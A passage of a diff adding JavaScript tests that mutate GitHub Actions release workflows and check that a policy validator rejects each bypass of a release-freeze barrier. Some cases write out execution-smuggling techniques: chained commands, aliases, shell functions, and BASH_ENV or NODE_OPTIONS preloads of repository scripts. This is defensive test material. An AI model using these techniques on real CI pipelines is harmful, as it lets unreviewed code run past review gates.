packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["frozen-candidate coordinator stops forwarding the calibration bundle", packagedCoordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.calibration_bundle_artifact = ""; + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["frozen-candidate coordinator stops forwarding the producer run", packagedCoordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.calibration_bundle_run_id = ""; + }, /packaged proof must forward the dispatched calibration bundle identity so the freeze lineage guard can run/u], + ["package evaluation downloads calibration on the standard path", packagedProofFile, workflow => { + draftStep(workflow.jobs.build, "Authenticate calibration bundle producer").if + = "matrix.asset_target == 'linux-x64'"; + draftStep(workflow.jobs.build, "Download frozen calibration bundle").if + = "matrix.asset_target == 'linux-x64'"; + }, /packaged-platform-proof\.yml/u], + ["package workflow reclaims candidate-installed proof", packagedProofFile, workflow => { + workflow.on.workflow_call.inputs.candidate_installed_proof = { + required: false, + default: false, + type: "boolean", + }; + }, /package-only workflow must not define candidate_installed_proof/u], + ["Metal calibration reads the calibration contract from an unpinned location", metalProofFile, workflow => { + const step = draftStep( + workflow.jobs["packaged-metal"], + "Validate unfrozen Metal calibration source", + ); + step.run = step.run.replaceAll( + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json", + "per-user-embedding-server-constant-set.json", + ); + }, /reject a frozen or stale calibration source immediately after checkout/u], + ["Vulkan model preparation drops the bypass shell", windowsVulkanFile, workflow => { + delete draftStep(workflow.jobs["packaged-vulkan"], "Prepare checksum-pinned embedded model").shell; + }, /Prepare checksum-pinned embedded model must declare the bypass shell/u], + ]; + + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + for (const [name, file, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + }); + } +}); + +test("source proof keeps retrieval generalization parallel on the resolved head", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const sourceFile = "source-proof.yml"; + const job = workflow => workflow.jobs["retrieval-generalization"]; + + const mutations = [ + ["job removed", workflow => { + delete workflow.jobs["retrieval-generalization"]; + }, /retrieval-generalization/u], + ["job serialized after Rust", workflow => { + job(workflow).needs = ["resolve", "full-source-gate"]; + }, /must run in parallel on the resolved exact head/u], + ["reuse guard widened", workflow => { + job(workflow).if = "always()"; + }, /must run in parallel on the resolved exact head/u], + ["job made optional", workflow => { + job(workflow)["continue-on-error"] = true; + }, /must run in parallel on the resolved exact head/u], + ["runner changed", workflow => { + job(workflow)["runs-on"] = "windows-latest"; + }, /must run in parallel on the resolved exact head/u], + ["timeout widened", workflow => { + job(workflow)["timeout-minutes"] = 60; + }, /must run in parallel on the resolved exact head/u], + ["checkout ref widened", workflow => { + job(workflow).steps[0].with.ref = "${{ github.sha }}"; + }, /must check out the resolved exact ref/u], + ["Node version changed", workflow => { + job(workflow).steps[1].with["node-version"] = "22"; + }, /must use blocking Node 24/u], + ["hostile matrix changed", workflow => { + draftStep(job(workflow), "Generalization lint hostile matrix").run + = "node --test scripts/tests/something-else.test.mjs"; + }, /hostile matrix must run its exact blocking Node command/u], + ["hostile matrix made optional", workflow => { + draftStep(job(workflow), "Generalization lint hostile matrix")["continue-on-error"] = true; + }, /hostile matrix must run its exact blocking Node command/u], + ["full source reuse guard widened", workflow => { + workflow.jobs["full-source-gate"].if = "always()"; + }, /full source gate may skip only a completed exact-head proof/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(sourceFile)); + assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + }); + } +}); + +test("source proof reuse accepts only whole successful workflow runs", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const mutations = [ + ["source self-reuse", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Reuse a completed gate for this exact head", + ); + step.run = step.run.replace( + '.event == "workflow_dispatch" and .conclusion == "success"', + '.event == "workflow_dispatch"', + ); + }, /source-proof\.yml step Reuse a completed gate.*workflow_dispatch.*conclusion/u], + ["release preflight reuse", workflows => { + const step = draftStep( + workflows.get("release.yml").jobs.preflight, + "Resolve reusable prior evidence", + ); + step.run = step.run.replace( + '.event == "workflow_dispatch" and .conclusion == "success"', + '.event == "workflow_dispatch"', + ); + }, /release\.yml step Resolve reusable prior evidence.*conclusion/u], + ["packaged prior proof lookup", workflows => { + const step = draftStep( + workflows.get("packaged-platform-pr.yml").jobs.route, + "Require successful exact-head source proof", + ); + step.run = step.run.replace( + '.event == "workflow_dispatch" and .conclusion == "success"', + '.event == "workflow_dispatch"', + ); + }, /packaged-platform-pr\.yml step Require successful exact-head source proof.*conclusion/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + }); + } +}); + +test("release freeze barrier rejects every broad-proof bypass", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const cases = [ + ["source label trigger", workflows => { + workflows.get("source-proof.yml").on.pull_request = { types: ["labeled"] }; + }, /support PR event/u], + ["superseded PR heads stop invalidating proof", workflows => { + workflows.get("release-freeze-invalidation.yml").on.pull_request.types = ["opened"]; + }, /must run automatically when a candidate head is superseded/u], + ["dev head changes stop invalidating proof", workflows => { + delete workflows.get("release-freeze-invalidation.yml").on.push; + }, /must run automatically when a candidate head is superseded/u], + ["invalidation stops checking the prior freeze", workflows => { + const step = draftStep( + workflows.get("release-freeze-invalidation.yml").jobs.invalidate, + "Invalidate a superseded release freeze", + ); + step.run = step.run.replace( + "commits/$BEFORE_SHA/statuses?per_page=100", + "commits/$AFTER_SHA/statuses?per_page=100", + ); + }, /Invalidate a superseded release freeze/u], + ["invalidation stops cancelling auto-release", workflows => { + const step = draftStep( + workflows.get("release-freeze-invalidation.yml").jobs.invalidate, + "Invalidate a superseded release freeze", + ); + step.run = step.run.replace( + '--broad-workflow "Auto Release"', + "", + ); + }, /every dev push must cancel obsolete proof/u], + ["dev push no longer cancels before status lookup", workflows => { + const step = draftStep( + workflows.get("release-freeze-invalidation.yml").jobs.invalidate, + "Invalidate a superseded release freeze", + ); + step.run = step.run.replace( + "release-freeze-barrier.mjs invalidate-superseded", + "release-freeze-barrier.mjs cancelled-too-late", + ); + }, /every dev push must cancel obsolete proof/u], + ["invalidation loses event identity", workflows => { + const step = draftStep( + workflows.get("release-freeze-invalidation.yml").jobs.invalidate, + "Invalidate a superseded release freeze", + ); + delete step.env.EVENT_NAME; + }, /must bind EVENT_NAME/u], + ["invalidation accepts a pending freeze", workflows => { + const step = draftStep( + workflows.get("release-freeze-invalidation.yml").jobs.invalidate, + "Invalidate a superseded release freeze", + ); + step.run = step.run.replace( + '.state == "success"', + '(.state == "pending" or .state == "success")', + ); + }, /Invalidate a superseded release freeze/u], + ["invalidation cannot revoke the old status", workflows => { + workflows.get("release-freeze-invalidation.yml").permissions.statuses = "read"; + }, /must run automatically when a candidate head is superseded/u], + ["invalidation stops publishing the revocation", workflows => { + const step = draftStep( + workflows.get("release-freeze-invalidation.yml").jobs.invalidate, + "Invalidate a superseded release freeze", + ); + step.run = step.run.replace("-f state=error", "-f state=success"); + }, /Invalidate a superseded release freeze/u], + ["platform label trigger", workflows => { + workflows.get("packaged-platform-pr.yml").on.pull_request = { types: ["labeled"] }; + }, /support PR event/u], + ...[ + "macos-metal-proof.yml", + "windows-vulkan-proof.yml", + "linux-vulkan-proof.yml", + ].map(file => [ + `${file} direct dispatch`, + workflows => { + workflows.get(file).on.workflow_dispatch = { inputs: {} }; + }, + /callable only through an accepted coordinator/u, + ]), + ["source acceptance requires a caller receipt", workflows => { + workflows.get("source-proof.yml").on.workflow_dispatch + .inputs.freeze_receipt_digest.required = true; + }, /acceptance must mint its own receipt digest/u], + ["source acceptance becomes the default", workflows => { + workflows.get("source-proof.yml").on.workflow_dispatch + .inputs.acceptance_only.default = true; + }, /separate acceptance from broad proof/u], + ["source acceptance loses its closed phase selector", workflows => { + workflows.get("source-proof.yml").on.workflow_dispatch + .inputs.acceptance_phase.options.push("pre_calibration_source_proof"); + }, /separate acceptance from broad proof/u], + ["acceptance adds an Ubuntu workspace test job", workflows => { + workflows.get("source-proof.yml").jobs["acceptance-ubuntu-workspace"] = { + if: "inputs.acceptance_only", + "runs-on": "ubuntu-latest", + steps: [{ + run: "cargo test --workspace --locked", + }], + }; + }, /closed source and acceptance job contract/u], + ["acceptance adds a protected Windows release workspace test job", workflows => { + workflows.get("source-proof.yml").jobs["acceptance-windows-workspace"] = { + if: "inputs.acceptance_only", + "runs-on": ["self-hosted", "Windows", "X64", "codestory-vulkan"], + steps: [{ + shell: "pwsh", + run: "cargo test --release --workspace --locked", + }], + }; + }, /closed source and acceptance job contract/u], + ["acceptance hides a workspace test in the hostile job", workflows => { + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"].steps.push({ + name: "Unexpected broad source proof", + run: "cargo test --workspace --locked", + }); + }, /canonical acceptance job manifest/u], + ["acceptance hides an Ubuntu workspace test behind a variable", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ); + step.run += '\nbroad_scope=--workspace\ncargo test "$broad_scope" --locked\n'; + }, /canonical acceptance job manifest/u], + ["acceptance hides a Windows workspace test behind a variable", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run += '\n$scope = "--workspace"\ncargo test --release $scope --locked\n'; + }, /canonical acceptance job manifest/u], + ["acceptance hides a workspace test behind an alias", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ); + step.run += "\nalias broad='cargo test --workspace --locked'\nbroad\n"; + }, /canonical acceptance job manifest/u], + ["acceptance hides a workspace test behind a shell function", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ); + step.run += "\nrun_broad() { cargo test --workspace --locked; }\nrun_broad\n"; + }, /canonical acceptance job manifest/u], + ["acceptance delegates to an unreviewed script", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ); + step.run += "\nbash scripts/run-broad-source.sh\n"; + }, /canonical acceptance job manifest/u], + ["acceptance chains a workspace test after an approved command", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ); + step.run += "\ntrue && cargo test --workspace --locked\n"; + }, /canonical acceptance job manifest/u], + ["acceptance substitutes an alternate shell", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ); + step.shell = "python"; + }, /canonical acceptance job manifest/u], + ["source acceptance cannot publish status", workflows => { + delete workflows.get("source-proof.yml").permissions.statuses; + }, /acceptance must publish an exact-head commit status/u], + ["Actions receipt generation is removed", workflows => { + const job = workflows.get("source-proof.yml").jobs.resolve; + job.steps = job.steps.filter(({ name }) => + name !== "Record executable release freeze"); + }, /Record executable release freeze/u], + ["Actions receipt generation loses live release PR authentication", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Record executable release freeze", + ); + step.run = step.run.replace('--release-pr "$PR_NUMBER"', ""); + }, /Record executable release freeze.*--release-pr/u], + ["Actions receipt generation loses merged support PR authentication", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Record executable release freeze", + ); + step.run = step.run.replace('--support-prs-json "$SUPPORT_PRS_JSON"', ""); + }, /Record executable release freeze.*--support-prs-json/u], + ["Actions receipt generation loses its candidate phase", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Record executable release freeze", + ); + step.run = step.run.replace('--phase "$ACCEPTANCE_PHASE"', ""); + }, /Record executable release freeze.*--phase/u], + ["Actions receipt generation loses support PR history", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Checkout accepted source head", + ); + delete step.with["fetch-depth"]; + }, /complete history for support PR ancestry/u], + ["Actions receipt artifact is removed", workflows => { + const job = workflows.get("source-proof.yml").jobs.resolve; + job.steps = job.steps.filter(({ name }) => + name !== "Upload executable release freeze receipt"); + }, /immutable attempt-qualified Actions receipt/u], + ["Actions receipt artifact is substituted", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Upload executable release freeze receipt", + ); + step.with.name = "release-freeze-receipt"; + }, /immutable attempt-qualified Actions receipt/u], + ["source restores conditional cell emission", workflows => { + workflows.get("source-proof.yml").on.workflow_dispatch + .inputs.emit_release_cells = { + required: false, + default: false, + type: "boolean", + }; + draftStep( + workflows.get("source-proof.yml").jobs["full-source-gate"], + "Upload authenticated source release cell", + ).if = "success() && inputs.emit_release_cells"; + }, /source release cell must be an unconditional success-only retained artifact/u], + ["hostile mutation job is removed", workflows => { + delete workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"]; + }, /freeze-hostile-mutations/u], + ["hostile mutation matrix is weakened", workflows => { + draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + ).run = "node --test .github/scripts/release-freeze-barrier.test.mjs"; + }, /Execute exact-head hostile mutation matrix/u], + ["hostile mutations become advisory", workflows => { + draftStep( + workflows.get("source-proof.yml").jobs["freeze-hostile-mutations"], + "Execute exact-head hostile mutation matrix", + )["continue-on-error"] = true; + }, /exact blocking hostile mutation job/u], + ["Windows probe leaves the protected runner", workflows => { + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"]["runs-on"] + = ["self-hosted", "Windows", "X64"]; + }, /protected blocking Windows native probe/u], + ["Windows probe restores unavailable PowerShell Core", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.shell = "pwsh"; + }, /protected blocking Windows native probe/u], + ["Windows probe restores inline JavaScript", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace( + "node $identityScriptPath $rootExe $depsExe", + "node -e $identityScript $rootExe $depsExe", + ); + }, /Run exact-head Windows native probe/u], + ["Windows probe loses the literal owned path write", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace( + "Set-Content -LiteralPath $identityScriptPath", + "Set-Content -Path $identityScriptPath", + ); + }, /Run exact-head Windows native probe/u], + ["Windows probe loses explicit UTF-8 encoding", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace(" -Encoding UTF8", ""); + }, /Run exact-head Windows native probe/u], + ["Windows probe writes the script to a stale fixed path", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace( + '$identityScriptPath = Join-Path $probeRoot "verify-hardlink-identity.cjs"', + '$identityScriptPath = "C:\\Temp\\verify-hardlink-identity.cjs"', + ); + }, /Run exact-head Windows native probe/u], + ["Windows probe restores inline argv indexing", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace( + "process.argv.slice(2)", + "process.argv.slice(1)", + ); + }, /Run exact-head Windows native probe/u], + ["Windows probe restores a full build", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace( + "cargo build --release --quiet", + "cargo build --workspace --release", + ); + }, /Run exact-head Windows native probe/u], + ["Windows probe allows 90 seconds", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-windows-native-probe"], + "Run exact-head Windows native probe", + ); + step.run = step.run.replace("Elapsed.TotalSeconds -ge 90", "Elapsed.TotalSeconds -gt 90"); + }, /Run exact-head Windows native probe/u], + ["acceptance publisher stops waiting for Windows", workflows => { + workflows.get("source-proof.yml").jobs["freeze-acceptance"].needs + = ["resolve", "freeze-hostile-mutations"]; + }, /publisher must depend on both exact successful mutation jobs/u], + ["acceptance publisher stops downloading the Actions receipt", workflows => { + const job = workflows.get("source-proof.yml").jobs["freeze-acceptance"]; + job.steps = job.steps.filter(({ name }) => + name !== "Download executable release freeze receipt"); + }, /download the exact Actions receipt before publication/u], + ["acceptance publisher trusts the caller digest", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-acceptance"], + "Publish executable release freeze", + ); + step.env.FREEZE_RECEIPT_DIGEST = "${{ inputs.freeze_receipt_digest }}"; + }, /FREEZE_RECEIPT_DIGEST/u], + ["acceptance publisher skips receipt verification", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-acceptance"], + "Publish executable release freeze", + ); + step.run = step.run.replace( + "release-freeze-barrier.mjs verify-file", + "printf '%s' \"$FREEZE_RECEIPT_DIGEST\"", + ); + }, /Publish executable release freeze.*verify-file/u], + ["source acceptance restores pending status trust", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Require executable release freeze", + ); + step.run = step.run.replace("verify-status", "verify-pending"); + }, /caller-authored pending status/u], + ["broad source proof accepts a calibration-source receipt", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Require executable release freeze", + ); + step.run = step.run.replace( + "--phase frozen_candidate", + "--phase calibration_source", + ); + }, /Require executable release freeze.*frozen_candidate/u], + ["acceptance publisher loses Actions provenance", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs["freeze-acceptance"], + "Publish executable release freeze", + ); + step.run = step.run.replace( + "actions/runs/$GITHUB_RUN_ID", + "pull/$GITHUB_RUN_ID", + ); + }, /Publish executable release freeze/u], + ["packaged proof makes the exact-head receipt optional", workflows => { + workflows.get("packaged-platform-pr.yml").on.workflow_dispatch + .inputs.freeze_receipt_digest.required = false; + workflows.get("packaged-platform-pr.yml").on.workflow_dispatch + .inputs.freeze_receipt_digest.default = ""; + }, /packaged proof must require an exact-head freeze digest/u], + ["platform downgrades reusable source status authority", workflows => { + workflows.get("packaged-platform-pr.yml").jobs["source-proof"] + .permissions.statuses = "read"; + }, /packaged source-proof call must grant exactly the reusable workflow permissions/u], + ["qualification bypasses its exact-head freeze status", workflows => { + draftStep( + workflows.get("packaged-platform-pr.yml").jobs.route, + "Require executable release freeze", + ).if = "steps.resolve.outputs.mode != 'qualification'"; + }, /every packaged proof mode must authenticate the exact candidate head/u], + ["calibration regains a pre-freeze source proof", workflows => { + draftStep( + workflows.get("packaged-platform-pr.yml").jobs.route, + "Require successful exact-head source proof", + ).if = "steps.resolve.outputs.mode != 'integration'"; + }, /calibration must precede the sole frozen-candidate source proof/u], + ["qualification loses the frozen-head source proof", workflows => { + draftStep( + workflows.get("packaged-platform-pr.yml").jobs.route, + "Require successful exact-head source proof", + ).if + = "steps.resolve.outputs.mode != 'integration' && steps.resolve.outputs.mode != 'calibration' && steps.resolve.outputs.mode != 'qualification'"; + }, /calibration must precede the sole frozen-candidate source proof/u], + ["release searches the calibration source instead of the frozen tree", workflows => { + const step = draftStep( + workflows.get("release.yml").jobs.preflight, + "Resolve reusable prior evidence", + ); + step.run = step.run.replace( + 'release_tree="$(git rev-parse "$GITHUB_SHA^{tree}")"', + 'release_tree="$(git rev-parse "$SOURCE_SHA^{tree}")"', + ); + }, /Resolve reusable prior evidence.*release_tree/u], + ["release restores post-calibration fallback", workflows => { + workflows.get("release.yml").jobs["source-proof"].if = "always()"; + }, /post-calibration source-proof fallback unreachable/u], + ["source reuse accepts an expired cell", workflows => { + const step = draftStep( + workflows.get("source-proof.yml").jobs.resolve, + "Reuse a completed gate for this exact head", + ); + step.run = step.run.replace(".expired == false", "true"); + }, /Reuse a completed gate.*expired/u], + ["release accepts an expired source cell", workflows => { + const step = draftStep( + workflows.get("release.yml").jobs.preflight, + "Resolve reusable prior evidence", + ); + step.run = step.run.replace(".expired == false", "true"); + }, /Resolve reusable prior evidence.*expired/u], + ["qualification trusts a bare success status", workflows => { + const step = draftStep( + workflows.get("packaged-platform-pr.yml").jobs.route, + "Require executable release freeze", + ); + step.run = step.run.replace( + "release-freeze-barrier.mjs verify-status", + "gh api repos/$GITHUB_REPOSITORY/commits/$HEAD_SHA/status", + ); + }, /Require executable release freeze.*verify-status/u], + ["packaged calibration and qualification share one receipt phase", workflows => { + const step = draftStep( + workflows.get("packaged-platform-pr.yml").jobs.route, + "Require executable release freeze", + ); + step.run = step.run.replace( + 'if [ "$RESOLVED_MODE" = calibration ]; then', + "if false; then", + ); + }, /Require executable release freeze.*RESOLVED_MODE/u], + ["release restores active freeze status authentication", workflows => { + const step = draftStep( + workflows.get("release.yml").jobs.preflight, + "Resolve reusable prior evidence", + ); + step.run += "\nnode .github/scripts/release-freeze-barrier.mjs verify-status\n"; + }, /Resolve reusable prior evidence must not run release-freeze-barrier\.mjs verify-status/u], + ["release placeholder calls the broad source workflow", workflows => { + const job = workflows.get("release.yml").jobs["source-proof"]; + delete job["runs-on"]; + delete job["timeout-minutes"]; + delete job.permissions; + delete job.env; + delete job.steps; + job.uses = "./.github/workflows/source-proof.yml"; + job.with = { + ref: "${{ github.sha }}", + proof_key: "release-${{ needs.preflight.outputs.version }}", + version: "${{ needs.preflight.outputs.version }}", + freeze_receipt_digest: "", + }; + }, /source proof placeholder must fail closed without calling the broad source workflow/u], + ["release placeholder loses its hard failure", workflows => { + draftStep( + workflows.get("release.yml").jobs["source-proof"], + "Refuse a second source proof", + ).run = "exit 0"; + }, /Refuse a second source proof/u], + ["release placeholder parks its failure behind a false step", workflows => { + draftStep( + workflows.get("release.yml").jobs["source-proof"], + "Refuse a second source proof", + ).if = "${{ false }}"; + }, /source proof placeholder must match the reviewed fail-closed sentinel/u], + ["release placeholder exits successfully before its failure", workflows => { + const step = draftStep( + workflows.get("release.yml").jobs["source-proof"], + "Refuse a second source proof", + ); + step.run = `exit 0\n${step.run}`; + }, /source proof placeholder must match the reviewed fail-closed sentinel/u], + ["release placeholder makes job failure advisory", workflows => { + workflows.get("release.yml").jobs["source-proof"]["continue-on-error"] = true; + }, /source proof placeholder must match the reviewed fail-closed sentinel/u], + ["release stops cancelling superseded work", workflows => { + workflows.get("release.yml").concurrency["cancel-in-progress"] = false; + }, /release and auto-release must cancel superseded work/u], + ["automatic release restores freeze status authority", workflows => { + workflows.get("auto-release.yml").jobs.release.permissions.statuses = "read"; + }, /publication must reuse accepted frozen-candidate proof without an active status/u], + ["manual release restores freeze status authority", workflows => { + workflows.get("release.yml").permissions.statuses = "read"; + }, /publication must reuse accepted frozen-candidate proof without an active status/u], + ["auto-release stops cancelling superseded work", workflows => { + workflows.get("auto-release.yml").concurrency["cancel-in-progress"] = false; + }, /release and auto-release must cancel superseded work/u], + ["source stale-run sweep is removed", workflows => { + const job = workflows.get("source-proof.yml").jobs.resolve; + job.steps = job.steps.filter(({ name }) => name !== "Cancel superseded proof runs"); + }, /Cancel superseded proof runs/u], + ["platform stale-run sweep is removed", workflows => { + const job = workflows.get("packaged-platform-pr.yml").jobs.route; + job.steps = job.steps.filter(({ name }) => name !== "Cancel superseded proof runs"); + }, /Cancel superseded proof runs/u], + ["acceptance-only mode restores the full Windows source lane", workflows => { + workflows.get("source-proof.yml").jobs["windows-native-contracts"].if + = "needs.resolve.outputs.reuse != 'true'"; + }, /Windows native source contracts must run in parallel on the resolved exact head/u], + ]; + for (const [name, mutate, expected] of cases) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + assert.match(validateWorkflows(workflows).join("\n"), expected); + }); + } +}); + +test("release freeze policy pins live PR base and support ancestry revalidation", async (t) => { + const source = readFileSync( + path.join(root, ".github", "scripts", "release-freeze-barrier.mjs"), + "utf8", + ); + const cases = [ + ["release PR lookup stops using live REST state", value => + value.replace( + 'gh(["api", `repos/${repository}/pulls/${number}`])', + "JSON.parse('{}')", + )], + ["release base lookup stops using the live integration ref", value => + value.replace( + "`repos/${repository}/git/ref/heads/dev/codestory-next`", + "`repos/${repository}/git/commits/${pr.base.sha}`", + )], + ["release PR head stops proving it contains the current dev base", value => + value.replace( + "`repos/${repository}/compare/${liveBaseCommit}...${commit}`", + "`repos/${repository}/commits/${commit}`", + )], + ["verification stops detecting a base advance", value => + value.replace( + "currentReleasePr.base_commit !== receipt?.release_pr?.base_commit", + "false", + )], + ["support PR ancestry becomes advisory", value => + value.replace( + 'git(["merge-base", "--is-ancestor", mergeCommit, commit]', + 'git(["rev-parse", commit]', + )], + ]; + for (const [name, mutate] of cases) { + await t.test(name, () => { + const violations = releaseFreezeBarrierWorkflowViolations( + loadWorkflows(), + loadReleaseClaimGraph(root), + mutate(source), + ); + assert.match( + violations.join("\n"), + /recheck the live release PR base and integrated support PR ancestry/u, + ); + }); + } + + await t.test("active workflow discovery becomes bounded", () => { + const bounded = source.replace( + '"api",\n "--paginate",\n "--slurp",', + '"run",\n "list",\n "--limit",', + ); + const violations = releaseFreezeBarrierWorkflowViolations( + loadWorkflows(), + loadReleaseClaimGraph(root), + bounded, + ); + assert.match( + violations.join("\n"), + /obsolete-run discovery must paginate every active Actions state/u, + ); + }); +}); + +test("release freeze policy authenticates the complete acceptance job manifest", async (t) => { + const barrierSource = readFileSync( + path.join(root, ".github", "scripts", "release-freeze-barrier.mjs"), + "utf8", + ); + const manifestPath = path.join( + root, + ".github", + "scripts", + "release-freeze-acceptance-jobs.json", + ); + const manifest = JSON.parse(readFileSync(manifestPath, "utf8")); + const cases = [ + ["manifest substitutes the workflow execution context", value => { + value.workflow_context_sha256 = "0".repeat(64); + }, /workflow execution context must match the canonical acceptance manifest/u], + ["manifest substitutes an approved job body", value => { + value.jobs["freeze-hostile-mutations"] = "0".repeat(64); + }, /freeze-hostile-mutations must match the canonical acceptance job manifest/u], + ["manifest admits an extra executable job", value => { + value.jobs["acceptance-extra"] = "0".repeat(64); + }, /must pin exactly the executable acceptance jobs/u], + ]; + + for (const [name, mutate, expected] of cases) { + await t.test(name, () => { + const changedManifest = structuredClone(manifest); + mutate(changedManifest); + const changedSource = `${JSON.stringify(changedManifest, null, 2)}\n`; + const graph = structuredClone(loadReleaseClaimGraph(root)); + graph.workflow_policy.release_freeze_barrier.acceptance.job_manifest_sha256 + = createHash("sha256").update(changedSource).digest("hex"); + const violations = releaseFreezeBarrierWorkflowViolations( + loadWorkflows(), + graph, + barrierSource, + changedSource, + ); + assert.match(violations.join("\n"), expected); + }); + } + + await t.test("claim graph substitutes the manifest digest", () => { + const graph = structuredClone(loadReleaseClaimGraph(root)); + graph.workflow_policy.release_freeze_barrier.acceptance.job_manifest_sha256 + = "0".repeat(64); + const violations = releaseFreezeBarrierWorkflowViolations( + loadWorkflows(), + graph, + barrierSource, + readFileSync(manifestPath, "utf8"), + ); + assert.match( + violations.join("\n"), + /release claim graph must pin the executable exact-head freeze contract/u, + ); + }); + + const workflowContextCases = [ + ["repository BASH_ENV preload", workflow => { + workflow.env = { + ...workflow.env, + BASH_ENV: "${{ github.workspace }}/scripts/run-broad-source.sh", + }; + }], + ["repository NODE_OPTIONS preload", workflow => { + workflow.env = { + ...workflow.env, + NODE_OPTIONS: "--require ${{ github.workspace }}/scripts/run-broad-source.js", + }; + }], + ["repository shell wrapper", workflow => { + workflow.defaults = { + run: { + shell: "bash scripts/run-broad-source.sh {0}", + }, + }; + }], + ["workflow trigger context", workflow => { + workflow.on.workflow_dispatch.inputs.acceptance_only.default = true; + }], + ["workflow token permissions", workflow => { + workflow.permissions.contents = "write"; + }], + ["workflow cancellation context", workflow => { + workflow.concurrency.group = "unscoped-acceptance"; + }], + ["workflow display identity", workflow => { + workflow.name = "Unreviewed acceptance wrapper"; + }], + ["new workflow-level field", workflow => { + workflow["run-name"] = "unreviewed-${{ github.run_id }}"; + }], + ]; + + for (const [name, mutate] of workflowContextCases) { + await t.test(`workflow context rejects ${name}`, () => { + const workflows = loadWorkflows(); + mutate(workflows.get("source-proof.yml")); + const violations = releaseFreezeBarrierWorkflowViolations( + workflows, + loadReleaseClaimGraph(root), + barrierSource, + readFileSync(manifestPath, "utf8"), + ); + assert.match( + violations.join("\n"), + /source-proof\.yml workflow execution context must match the canonical acceptance manifest/u, + ); + }); + } +}); + +test("calibration precedes the sole frozen-candidate source proof", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const coordinatorFile = "packaged-platform-pr.yml"; + const mutations = [ + ["calibration regains a pre-freeze source proof", workflow => { + draftStep( + workflow.jobs.route, + "Require successful exact-head source proof", + ).if = "steps.resolve.outputs.mode != 'integration'"; + }], + ["qualification loses the frozen-head source proof", workflow => { + draftStep( + workflow.jobs.route, + "Require successful exact-head source proof", + ).if + = "steps.resolve.outputs.mode != 'integration' && steps.resolve.outputs.mode != 'calibration' && steps.resolve.outputs.mode != 'qualification'"; + }], + ["every mode loses the exact-head source proof", workflow => { + draftStep( + workflow.jobs.route, + "Require successful exact-head source proof", + ).if = "false"; + }], + ]; + + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(coordinatorFile)); + assert.match( + validateWorkflows(workflows).join("\n"), + /calibration must precede the sole frozen-candidate source proof/u, + ); + }); + } +}); + +test("Windows package proof retains the readable native sccache executable", () => { + const directory = 